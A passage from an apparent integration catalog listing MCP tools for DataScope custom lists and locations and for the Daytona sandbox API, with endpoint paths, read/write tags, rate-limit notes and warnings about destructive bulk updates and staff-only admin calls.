back with your change: DataScope's reference documents no partial-update semantics, and the reply is the location as it now stands. 422 on wrong parameters, 403 when the credential may not write. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. POST /api/v1/datascope/locations/{id}. Scopes: api. datascope_post_metadata_object (write) — Create a list element via POST /api/external/metadata_object. Add one element to a custom list. The list is named in the `metadata_type` QUERY parameter and the element itself in the body's `list_object`. The reply is the created element with its new `id` and the `metadata_type` it landed in. NOT FOR LOCATIONS: the reference says to use the locations endpoints for those, and Create a location is the tool for it. 201 on success, 422 on wrong parameters, 403 when the credential may not write. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. POST /api/v1/datascope/metadata_object. Scopes: api. datascope_post_metadata_object_by_id (write) — Update a list element via POST /api/external/metadata_object/{id}. Update one element of a custom list by its internal id. The whole `list_object` is sent, so read the current values first and send them back with your change. Note the id is in the PATH here while the read above takes it as a query parameter -- that asymmetry is DataScope's, not ours. 422 on wrong parameters, 403 when the credential may not write. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. POST /api/v1/datascope/metadata_object/{id}. Scopes: api. datascope_post_metadata_objects_bulk_update (write, destructive) — Replace every element of a list via POST /api/external/metadata_objects/bulk_update. DESTRUCTIVE, AND IN A WAY THE NAME DOES NOT SUGGEST. This does not merge: DataScope's own warning is "This operation will delete all existing objects for the specified metadata_type and replace them with the new objects provided". Elements are matched by `code` -- an existing code is updated, a new one is created, and EVERY ELEMENT WHOSE CODE IS ABSENT FROM `list_objects` IS SOFT-DELETED. So a partial array silently empties most of a list. READ THE LIST FIRST with List the elements of a list and send the full set back with your changes. The reply's `length` is the number of elements the list ends up with, which is the cheapest check that the call did what was meant. DataScope marks this endpoint EXPERIMENTAL ("Changes may be made to functionality or structure as we continue testing"). `metadata_type` must not be `locations` -- that answers 400; use the locations tools. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. POST /api/v1/datascope/metadata_objects/bulk_update. Scopes: api. datascope_post_metadata_types (write) — Create an empty list via POST /api/external/metadata_types. Create a new, empty custom list. The reply carries the list's `id` and its `code`, and that code is the `metadata_type` every list-element tool takes. Add elements to it with Create a list element, or all at once with Replace every element of a list. 201 on success, 422 on wrong parameters, 403 when the credential may not write. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. POST /api/v1/datascope/metadata_types. Scopes: api. datascope_post_metadata_types_by_id (write) — Update a list via POST /api/external/metadata_types/{id}. Update a custom list's own name, description, code or type -- not its elements, which Create a list element and Replace every element of a list own. CHANGING `code` CHANGES THE `metadata_type` every other list tool addresses this list by, so anything holding the old code stops finding it. 422 on wrong parameters, 403 when the credential may not write. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. POST /api/v1/datascope/metadata_types/{id}. Scopes: api. ================================================================================ ## Daytona URL: https://www.agenticfabriq.com/integrations/daytona Section: Integrated Tools Daytona — 196 MCP tools Provider key: daytona. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. daytona_delete_admin_organizations_by_organizationid_quota_by_regionid_by_sandboxclass (write, destructive) — Delete organization region quota via DELETE /admin/organizations/{organizationId}/quota/{regionId}/{sandboxClass} Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. DELETE /api/v1/daytona/admin/organizations/{organizationId}/quota/{regionId}/{sandboxClass}. Scopes: api. daytona_delete_admin_runners_by_id (write, destructive) — Delete runner via DELETE /admin/runners/{id} Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. DELETE /api/v1/daytona/admin/runners/{id}. Scopes: api. daytona_delete_api_keys_by_name (write, destructive) — Delete API key via DELETE /api-keys/{name} DELETE /api/v1/daytona/api-keys/{name}. Scopes: api. daytona_delete_api_keys_by_userid_by_name (write, destructive) — Delete API key for user via DELETE /api-keys/{userId}/{name} Daytona serves DELETE /api-keys/{userId}/{name} only to JWT-authenticated callers -- its own reference says "This endpoint requires JWT authentication and is available to the key or organization owner" -- and this integration authenticates with an API key, which that endpoint does not accept. Delete another user's key from the Daytona Dashboard (Keys), or use daytona_delete_api_keys_by_name to delete one of your own. DELETE /api/v1/daytona/api-keys/{userId}/{name}. Scopes: api. daytona_delete_docker_registry_by_id (write, destructive) — Delete registry via DELETE /docker-registry/{id} DELETE /api/v1/daytona/docker-registry/{id}. Scopes: api. daytona_delete_organizations_by_organizationid (write, destructive) — Delete organization via DELETE /organizations/{organizationId} DELETE /api/v1/daytona/organizations/{organizationId}. Scopes: api. daytona_delete_organizations_by_organizationid_identity_providers_by_id (write, destructive) — Delete organization identity provider via DELETE /organizations/{organizationId}/identity-providers/{id} DELETE /api/v1/daytona/organizations/{organizationId}/identity-providers/{id}. Scopes: api. daytona_delete_organizations_by_organizationid_otel_config (write, destructive) — Delete organization OpenTelemetry configuration via DELETE /organizations/{organizationId}/otel-config DELETE /api/v1/daytona/organizations/{organizationId}/otel-config. Scopes: api. daytona_delete_organizations_by_organizationid_roles_by_roleid (write, destructive) — Delete organization role via DELETE /organizations/{organizationId}/roles/{roleId} DELETE /api/v1/daytona/organizations/{organizationId}/roles/{roleId}. Scopes: api. daytona_delete_organizations_by_organizationid_users_by_userid (write, destructive) — Delete organization member via DELETE /organizations/{organizationId}/users/{userId} DELETE /api/v1/daytona/organizations/{organizationId}/users/{userId}. Scopes: api. daytona_delete_regions_by_id (write, destructive) — Delete a region via DELETE /regions/{id} DELETE /api/v1/daytona/regions/{id}. Scopes: api. daytona_delete_runners_by_id (write, destructive) — Delete runner via DELETE /runners/{id} DELETE /api/v1/daytona/runners/{id}. Scopes: api. daytona_delete_sandbox_by_sandboxidorname (write, destructive) — Delete sandbox via DELETE /sandbox/{sandboxIdOrName} DELETE /api/v1/daytona/sandbox/{sandboxIdOrName}. Scopes: api. daytona_delete_sandbox_by_sandboxidorname_ssh_access (write, destructive) — Revoke SSH access for sandbox via DELETE /sandbox/{sandboxIdOrName}/ssh-access DELETE /api/v1/daytona/sandbox/{sandboxIdOrName}/ssh-access. Scopes: api. daytona_delete_secret_by_secretid (write, destructive) — Delete secret via DELETE /secret/{secretId} DELETE /api/v1/daytona/secret/{secretId}. Scopes: api. daytona_delete_snapshots_by_id (write, destructive) — Delete snapshot via DELETE /snapshots/{id} DELETE /api/v1/daytona/snapshots/{id}. Scopes: api. daytona_delete_users_linked_accounts_by_provider_by_provideruserid (write, destructive) — Unlink account via DELETE /users/linked-accounts/{provider}/{providerUserId} DELETE /api/v1/daytona/users/linked-accounts/{provider}/{providerUserId}. Scopes: api. daytona_delete_users_me_pending_sso_links_by_id (write, destructive) — Dismiss a pending SSO account link via DELETE /users/me/pending-sso-links/{id} DELETE /api/v1/daytona/users/me/pending-sso-links/{id}. Scopes: api. daytona_delete_volumes_by_volumeid (write, destructive) — Delete volume via DELETE /volumes/{volumeId} DELETE /api/v1/daytona/volumes/{volumeId}. Scopes: api. daytona_delete_warm_pools_by_id (write, destructive) — Delete a warm pool via DELETE /warm-pools/{id} DELETE /api/v1/daytona/warm-pools/{id}. Scopes: api. daytona_get_admin_audit (read) — Get all audit logs via GET /admin/audit Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. GET /api/v1/daytona/admin/audit. Scopes: api. daytona_get_admin_organizations_by_organizationid_quota_by_regionid_by_sandboxclass (read) — Get organization region quota via GET /admin/organizations/{organizationId}/quota/{regionId}/{sandboxClass} Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. GET /api/v1/daytona/admin/organizations/{organizationId}/quota/{regionId}/{sandboxClass}. Scopes: api. daytona_get_admin_runners (read) — List all runners via GET /admin/runners Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. GET /api/v1/daytona/admin/runners. Scopes: api. daytona_get_admin_runners_by_id (read) — Get runner by ID via GET /admin/runners/{id} Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. GET /api/v1/daytona/admin/runners/{id}. Scopes: api. daytona_get_admin_snapshots_can_cleanup_image (read) — Check if an image can be cleaned up via GET /admin/snapshots/can-cleanup-image Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. GET /api/v1/daytona/admin/snapshots/can-cleanup-image. Scopes: api. daytona_get_admin_users (read) — List all users via GET /admin/users Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. GET /api/v1/daytona/admin/users. Scopes: api. daytona_get_admin_users_by_id (read) — Get user by ID via GET /admin/users/{id} Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. GET /api/v1/daytona/admin/users/{id}. Scopes: api. daytona_get_admin_webhooks_organizations_by_organizationid_messages_by_messageid_attempts (read) — Get delivery attempts for a webhook message via GET /admin/webhooks/organizations/{organizationId}/messages/{messageId}/attempts Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. GET /api/v1/daytona/admin/webhooks/organizations/{organizationId}/messages/{messageId}/attempts. Scopes: api. daytona_get_admin_webhooks_status (read) — Get webhook service status via GET /admin/webhooks/status Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. GET /api/v1/daytona/admin/webhooks/status. Scopes: api. daytona_get_api_keys (read) — List API keys via GET /api-keys GET /api/v1/daytona/api-keys. Scopes: api. daytona_get_api_keys_by_name (read) — Get API key via GET /api-keys/{name} GET /api/v1/daytona/api-keys/{name}. Scopes: api. daytona_get_api_keys_current (read) — Get current API key's details via GET /api-keys/current GET /api/v1/daytona/api-keys/current. Scopes: api. daytona_get_audit_organizations_by_organizationid (read) — Get audit logs for organization via GET /audit/organizations/{organizationId} GET /api/v1/daytona/audit/organizations/{organizationId}. Scopes: api. daytona_get_audit_scenarios (read) — Returns the supported audit log actions grouped by target type. The list is derived at runtime from the audited routes and system events, so it always reflects what can actually appear in the audit log. via GET /audit/scenarios GET /api/v1/daytona/audit/scenarios. Scopes: api. daytona_get_config (read) — Get config via GET /config GET /api/v1/daytona/config. Scopes: api. daytona_get_docker_registry (read) — List registries via GET /docker-registry GET /api/v1/daytona/docker-registry. Scopes: api. daytona_get_docker_registry_by_id (read) — Get registry via GET /docker-registry/{id} GET /api/v1/daytona/docker-registry/{id}. Scopes: api. daytona_get_docker_registry_registry_push_access (read) — Get temporary registry access for pushing snapshots via GET /docker-registry/registry-push-access GET /api/v1/daytona/docker-registry/registry-push-access. Scopes: api. daytona_get_health (read) — Health live via GET /health GET /api/v1/daytona/health. Scopes: api. daytona_get_health_ready (read) — Health check via GET /health/ready GET /api/v1/daytona/health/ready. Scopes: api. daytona_get_jobs (read) — Returns a paginated list of jobs for the runner, optionally filtered by status. via GET /jobs GET /api/v1/daytona/jobs. Scopes: api. daytona_get_jobs_by_jobid (read) — Get job details via GET /jobs/{jobId} GET /api/v1/daytona/jobs/{jobId}. Scopes: api. daytona_get_jobs_poll (read) — Long poll endpoint for runners to fetch pending jobs. Returns immediately if jobs are available, otherwise waits up to timeout seconds. via GET /jobs/poll GET /api/v1/daytona/jobs/poll. Scopes: api. daytona_get_object_storage_push_access (read) — Get temporary storage access for pushing objects via GET /object-storage/push-access GET /api/v1/daytona/object-storage/push-access. Scopes: api. daytona_get_organizations (read) — List organizations via GET /organizations GET /api/v1/daytona/organizations. Scopes: api. daytona_get_organizations_by_organizationid (read) — Get organization by ID via GET /organizations/{organizationId} GET /api/v1/daytona/organizations/{organizationId}. Scopes: api. daytona_get_organizations_by_organizationid_available_sandbox_classes (read) — List available sandbox classes for organization via GET /organizations/{organizationId}/available-sandbox-classes GET /api/v1/daytona/organizations/{organizationId}/available-sandbox-classes. Scopes: api. daytona_get_organizations_by_organizationid_identity_providers (read) — List organization identity providers via GET /organizations/{organizationId}/identity-providers GET /api/v1/daytona/organizations/{organizationId}/identity-providers. Scopes: api. daytona_get_organizations_by_organizationid_identity_providers_by_id (read) — Get organization identity provider via GET /organizations/{organizationId}/identity-providers/{id} GET /api/v1/daytona/organizations/{organizationId}/identity-providers/{id}. Scopes: api. daytona_get_organizations_by_organizationid_invitations (read) — List pending organization invitations via GET /organizations/{organizationId}/invitations GET /api/v1/daytona/organizations/{organizationId}/invitations. Scopes: api. daytona_get_organizations_by_organizationid_otel_config (read) — Get organization OTEL config by organization ID via GET /organizations/{organizationId}/otel-config GET /api/v1/daytona/organizations/{organizationId}/otel-config. Scopes: api. daytona_get_organizations_by_organizationid_roles (read) — List organization roles via GET /organizations/{organizationId}/roles GET /api/v1/daytona/organizations/{organizationId}/roles. Scopes: api. daytona_get_organizations_by_organizationid_usage (read) — Get organization current usage overview via GET /organizations/{organizationId}/usage GET /api/v1/daytona/organizations/{organizationId}/usage. Scopes: api. daytona_get_organizations_by_organizationid_users (read) — List organization members via GET /organizations/{organizationId}/users GET /api/v1/daytona/organizations/{organizationId}/users. Scopes: api. daytona_get_organizations_invitations (read) — List organization invitations for authenticated user via GET /organizations/invitations GET /api/v1/daytona/organizations/invitations. Scopes: api. daytona_get_organizations_invitations_count (read) — Get count of organization invitations for authenticated user via GET /organizations/invitations/count GET /api/v1/daytona/organizations/invitations/count. Scopes: api. daytona_get_organizations_otel_config_by_sandbox_auth_token_by_authtoken (read) — Get organization OTEL config by sandbox auth token via GET /organizations/otel-config/by-sandbox-auth-token/{authToken} GET /api/v1/daytona/organizations/otel-config/by-sandbox-auth-token/{authToken}. Scopes: api. daytona_get_preview_by_sandboxid_access (read) — Check if user has access to the sandbox via GET /preview/{sandboxId}/access GET /api/v1/daytona/preview/{sandboxId}/access. Scopes: api. daytona_get_preview_by_sandboxid_preview_warning (read) — Check if the preview warning page is enabled for the sandbox via GET /preview/{sandboxId}/preview-warning GET /api/v1/daytona/preview/{sandboxId}/preview-warning. Scopes: api. daytona_get_preview_by_sandboxid_public (read) — Check if sandbox is public via GET /preview/{sandboxId}/public GET /api/v1/daytona/preview/{sandboxId}/public. Scopes: api. daytona_get_preview_by_sandboxid_signing_key (read) — Get the signing key for a sandbox via GET /preview/{sandboxId}/signing-key GET /api/v1/daytona/preview/{sandboxId}/signing-key. Scopes: api. daytona_get_preview_by_sandboxid_validate_by_authtoken (read) — Check if sandbox auth token is valid via GET /preview/{sandboxId}/validate/{authToken} GET /api/v1/daytona/preview/{sandboxId}/validate/{authToken}. Scopes: api. daytona_get_preview_by_signedpreviewtoken_by_port_sandbox_id (read) — Get sandbox ID from signed preview URL token via GET /preview/{signedPreviewToken}/{port}/sandbox-id GET /api/v1/daytona/preview/{signedPreviewToken}/{port}/sandbox-id. Scopes: api. daytona_get_regions (read) — List all available regions for the organization via GET /regions GET /api/v1/daytona/regions. Scopes: api. daytona_get_regions_by_id (read) — Get region by ID via GET /regions/{id} GET /api/v1/daytona/regions/{id}. Scopes: api. daytona_get_runners (read) — List all runners via GET /runners GET /api/v1/daytona/runners. Scopes: api. daytona_get_runners_by_id (read) — Get runner by ID via GET /runners/{id} GET /api/v1/daytona/runners/{id}. Scopes: api. daytona_get_runners_by_id_full (read) — Get runner by ID via GET /runners/{id}/full GET /api/v1/daytona/runners/{id}/full. Scopes: api. daytona_get_runners_by_sandbox_by_sandboxid (read) — Get runner by sandbox ID via GET /runners/by-sandbox/{sandboxId} GET /api/v1/daytona/runners/by-sandbox/{sandboxId}. Scopes: api. daytona_get_runners_by_snapshot_ref (read) — Get runners by snapshot ref via GET /runners/by-snapshot-ref GET /api/v1/daytona/runners/by-snapshot-ref. Scopes: api. daytona_get_runners_me (read) — Get info for authenticated runner via GET /runners/me GET /api/v1/daytona/runners/me. Scopes: api. daytona_get_runners_me_snapshots (read) — Get snapshot refs for authenticated runner via GET /runners/me/snapshots GET /api/v1/daytona/runners/me/snapshots. Scopes: api. daytona_get_sandbox (read) — Advanced filtering and ordering. Eventually consistent. via GET /sandbox GET /api/v1/daytona/sandbox. Scopes: api. daytona_get_sandbox_by_sandboxid_organization (read) — Get organization by sandbox ID via GET /sandbox/{sandboxId}/organization GET /api/v1/daytona/sandbox/{sandboxId}/organization. Scopes: api. daytona_get_sandbox_by_sandboxid_region_quota (read) — Get region quota by sandbox ID via GET /sandbox/{sandboxId}/region-quota GET /api/v1/daytona/sandbox/{sandboxId}/region-quota. Scopes: api. daytona_get_sandbox_by_sandboxid_secrets (read) — Resolve sandbox secrets via GET /sandbox/{sandboxId}/secrets GET /api/v1/daytona/sandbox/{sandboxId}/secrets. Scopes: api. daytona_get_sandbox_by_sandboxid_signing_key (read) — Get the signing key for a sandbox via GET /sandbox/{sandboxId}/signing-key GET /api/v1/daytona/sandbox/{sandboxId}/signing-key. Scopes: api. daytona_get_sandbox_by_sandboxid_telemetry_logs (read) — Retrieve OTEL logs for a sandbox within a time range via GET /sandbox/{sandboxId}/telemetry/logs GET /api/v1/daytona/sandbox/{sandboxId}/telemetry/logs. Scopes: api. daytona_get_sandbox_by_sandboxid_telemetry_metrics (read) — Retrieve OTEL metrics for a sandbox within a time range via GET /sandbox/{sandboxId}/telemetry/metrics GET /api/v1/daytona/sandbox/{sandboxId}/telemetry/metrics. Scopes: api. daytona_get_sandbox_by_sandboxid_telemetry_traces (read) — Retrieve OTEL traces for a sandbox within a time range via GET /sandbox/{sandboxId}/telemetry/traces GET /api/v1/daytona/sandbox/{sandboxId}/telemetry/traces. Scopes: api. daytona_get_sandbox_by_sandboxid_telemetry_traces_by_traceid (read) — Retrieve all spans for a specific trace via GET /sandbox/{sandboxId}/telemetry/traces/{traceId} GET /api/v1/daytona/sandbox/{sandboxId}/telemetry/traces/{traceId}. Scopes: api. daytona_get_sandbox_by_sandboxid_toolbox_proxy_url (read) — Get toolbox proxy URL for a sandbox via GET /sandbox/{sandboxId}/toolbox-proxy-url GET /api/v1/daytona/sandbox/{sandboxId}/toolbox-proxy-url. Scopes: api. daytona_get_sandbox_by_sandboxidorname (read) — Sandboxes destroyed by spot preemption remain retrievable for 24 hours so `spotEvictedAt` can be read. via GET /sandbox/{sandboxIdOrName} GET /api/v1/daytona/sandbox/{sandboxIdOrName}. Scopes: api. daytona_get_sandbox_by_sandboxidorname_ancestors (read) — Get sandbox fork ancestor chain via GET /sandbox/{sandboxIdOrName}/ancestors GET /api/v1/daytona/sandbox/{sandboxIdOrName}/ancestors. Scopes: api. daytona_get_sandbox_by_sandboxidorname_build_logs (read) — This endpoint is deprecated. Use `getBuildLogsUrl` instead. via GET /sandbox/{sandboxIdOrName}/build-logs GET /api/v1/daytona/sandbox/{sandboxIdOrName}/build-logs. Scopes: api. daytona_get_sandbox_by_sandboxidorname_build_logs_url (read) — Get build logs URL via GET /sandbox/{sandboxIdOrName}/build-logs-url GET /api/v1/daytona/sandbox/{sandboxIdOrName}/build-logs-url. Scopes: api. daytona_get_sandbox_by_sandboxidorname_forks (read) — Get sandbox fork children via GET /sandbox/{sandboxIdOrName}/forks GET /api/v1/daytona/sandbox/{sandboxIdOrName}/forks. Scopes: api. daytona_get_sandbox_by_sandboxidorname_parent (read) — Get sandbox fork parent via GET /sandbox/{sandboxIdOrName}/parent GET /api/v1/daytona/sandbox/{sandboxIdOrName}/parent. Scopes: api. daytona_get_sandbox_by_sandboxidorname_ports_by_port_preview_url (read) — Get preview URL for a sandbox port via GET /sandbox/{sandboxIdOrName}/ports/{port}/preview-url GET /api/v1/daytona/sandbox/{sandboxIdOrName}/ports/{port}/preview-url. Scopes: api. daytona_get_sandbox_by_sandboxidorname_ports_by_port_signed_preview_url (read) — Get signed preview URL for a sandbox port via GET /sandbox/{sandboxIdOrName}/ports/{port}/signed-preview-url GET /api/v1/daytona/sandbox/{sandboxIdOrName}/ports/{port}/signed-preview-url. Scopes: api. daytona_get_sandbox_for_runner (read) — Get sandboxes for the authenticated runner via GET /sandbox/for-runner GET /api/v1/daytona/sandbox/for-runner. Scopes: api. daytona_get_sandbox_paginated (read) — [DEPRECATED] List all sandboxes paginated via GET /sandbox/paginated GET /api/v1/daytona/sandbox/paginated. Scopes: api. daytona_get_sandbox_ssh_access_validate (read) — Validate SSH access for sandbox via GET /sandbox/ssh-access/validate GET /api/v1/daytona/sandbox/ssh-access/validate. Scopes: api. daytona_get_secret (read) — This endpoint is deprecated and fails for organizations with more than 1500 secrets. Use `listSecretsPaginated` instead. via GET /secret GET /api/v1/daytona/secret. Scopes: api. daytona_get_secret_by_secretid (read) — Get secret via GET /secret/{secretId} GET /api/v1/daytona/secret/{secretId}. Scopes: api. daytona_get_secret_paginated (read) — List secrets with pagination via GET /secret/paginated GET /api/v1/daytona/secret/paginated. Scopes: api. daytona_get_shared_regions (read) — List all shared regions via GET /shared-regions GET /api/v1/daytona/shared-regions. Scopes: api. daytona_get_snapshots (read) — List all snapshots via GET /snapshots GET /api/v1/daytona/snapshots. Scopes: api. daytona_get_snapshots_by_id (read) — Get snapshot by ID or name via GET /snapshots/{id} GET /api/v1/daytona/snapshots/{id}. Scopes: api. daytona_get_snapshots_by_id_build_logs (read) — This endpoint is deprecated. Use `getSnapshotBuildLogsUrl` instead. via GET /snapshots/{id}/build-logs GET /api/v1/daytona/snapshots/{id}/build-logs. Scopes: api. daytona_get_snapshots_by_id_build_logs_url (read) — Get snapshot build logs URL via GET /snapshots/{id}/build-logs-url GET /api/v1/daytona/snapshots/{id}/build-logs-url. Scopes: api. daytona_get_users_account_providers (read) — Get available account providers via GET /users/account-providers GET /api/v1/daytona/users/account-providers. Scopes: api. daytona_get_users_me (read) — Get authenticated user via GET /users/me GET /api/v1/daytona/users/me. Scopes: api. daytona_get_users_me_pending_sso_links (read) — List pending SSO account links for the authenticated user via GET /users/me/pending-sso-links GET /api/v1/daytona/users/me/pending-sso-links. Scopes: api. daytona_get_volumes (read) — List all volumes via GET /volumes GET /api/v1/daytona/volumes. Scopes: api. daytona_get_volumes_by_name_by_name (read) — Get volume details by name via GET /volumes/by-name/{name} GET /api/v1/daytona/volumes/by-name/{name}. Scopes: api. daytona_get_volumes_by_volumeid (read) — Get volume details via GET /volumes/{volumeId} GET /api/v1/daytona/volumes/{volumeId}. Scopes: api. daytona_get_warm_pools (read) — List warm pools for the organization via GET /warm-pools GET /api/v1/daytona/warm-pools. Scopes: api. daytona_get_webhooks_organizations_by_organizationid_initialization_status (read) — Get webhook initialization status for an organization via GET /webhooks/organizations/{organizationId}/initialization-status GET /api/v1/daytona/webhooks/organizations/{organizationId}/initialization-status. Scopes: api. daytona_patch_admin_organizations_by_organizationid_quota_by_regionid (write) — Update organization region quota via PATCH /admin/organizations/{organizationId}/quota/{regionId} Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. PATCH /api/v1/daytona/admin/organizations/{organizationId}/quota/{regionId}. Scopes: api. daytona_patch_admin_runners_by_id_scheduling (write) — Update runner scheduling status via PATCH /admin/runners/{id}/scheduling Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. PATCH /api/v1/daytona/admin/runners/{id}/scheduling. Scopes: api. daytona_patch_admin_snapshots_by_id_general (write) — Set snapshot general status via PATCH /admin/snapshots/{id}/general Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. PATCH /api/v1/daytona/admin/snapshots/{id}/general. Scopes: api. daytona_patch_docker_registry_by_id (write) — Update registry via PATCH /docker-registry/{id} PATCH /api/v1/daytona/docker-registry/{id}. Scopes: api. daytona_patch_organizations_by_organizationid_default_region (write) — Set default region for organization via PATCH /organizations/{organizationId}/default-region PATCH /api/v1/daytona/organizations/{organizationId}/default-region. Scopes: api. daytona_patch_organizations_by_organizationid_identity_providers_by_id (write) — Update organization identity provider via PATCH /organizations/{organizationId}/identity-providers/{id} PATCH /api/v1/daytona/organizations/{organizationId}/identity-providers/{id}. Scopes: api. daytona_patch_organizations_by_organizationid_quota (write) — Update organization quota via PATCH /organizations/{organizationId}/quota PATCH /api/v1/daytona/organizations/{organizationId}/quota. Scopes: api. daytona_patch_organizations_by_organizationid_quota_by_regionid (write) — Update organization region quota via PATCH /organizations/{organizationId}/quota/{regionId} PATCH /api/v1/daytona/organizations/{organizationId}/quota/{regionId}. Scopes: api. daytona_patch_regions_by_id (write) — Update region configuration via PATCH /regions/{id} PATCH /api/v1/daytona/regions/{id}. Scopes: api. daytona_patch_runners_by_id_draining (write) — Update runner draining status via PATCH /runners/{id}/draining PATCH /api/v1/daytona/runners/{id}/draining. Scopes: api. daytona_patch_runners_by_id_scheduling (write) — Update runner scheduling status via PATCH /runners/{id}/scheduling PATCH /api/v1/daytona/runners/{id}/scheduling. Scopes: api. daytona_patch_secret_by_secretid (write) — Update secret via PATCH /secret/{secretId} PATCH /api/v1/daytona/secret/{secretId}. Scopes: api. daytona_patch_warm_pools_by_id (write) — Update a warm pool size via PATCH /warm-pools/{id} PATCH /api/v1/daytona/warm-pools/{id}. Scopes: api. daytona_post_admin_docker_registry_by_id_set_default (write) — Set default registry via POST /admin/docker-registry/{id}/set-default Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. POST /api/v1/daytona/admin/docker-registry/{id}/set-default. Scopes: api. daytona_post_admin_organizations (write) — Create organization for user via POST /admin/organizations Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. POST /api/v1/daytona/admin/organizations. Scopes: api. daytona_post_admin_organizations_by_organizationid_preview_warning (write) — Update organization preview warning via POST /admin/organizations/{organizationId}/preview-warning Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. POST /api/v1/daytona/admin/organizations/{organizationId}/preview-warning. Scopes: api. daytona_post_admin_organizations_by_organizationid_quota_by_regionid (write) — Create organization region quota via POST /admin/organizations/{organizationId}/quota/{regionId} Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. POST /api/v1/daytona/admin/organizations/{organizationId}/quota/{regionId}. Scopes: api. daytona_post_admin_runners (write) — Create runner via POST /admin/runners Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. POST /api/v1/daytona/admin/runners. Scopes: api. daytona_post_admin_sandbox_by_sandboxid_recover (write) — Recover sandbox from error state as an admin via POST /admin/sandbox/{sandboxId}/recover Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. POST /api/v1/daytona/admin/sandbox/{sandboxId}/recover. Scopes: api. daytona_post_admin_users (write) — Create user via POST /admin/users Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. POST /api/v1/daytona/admin/users. Scopes: api. daytona_post_admin_users_by_id_regenerate_key_pair (write) — Regenerate user key pair via POST /admin/users/{id}/regenerate-key-pair Daytona restricts this operation to platform staff (the contract tags it `admin` and serves it under /admin); an ordinary organization API key is answered 403 DaytonaForbiddenError. POST /api/v1/daytona/admin/users/{id}/regenerate-key-pair. Scopes: api. daytona_post_admin_webhooks_organizations_by_organizationid_initialize (write) — Initialize webhooks for an organization via POST 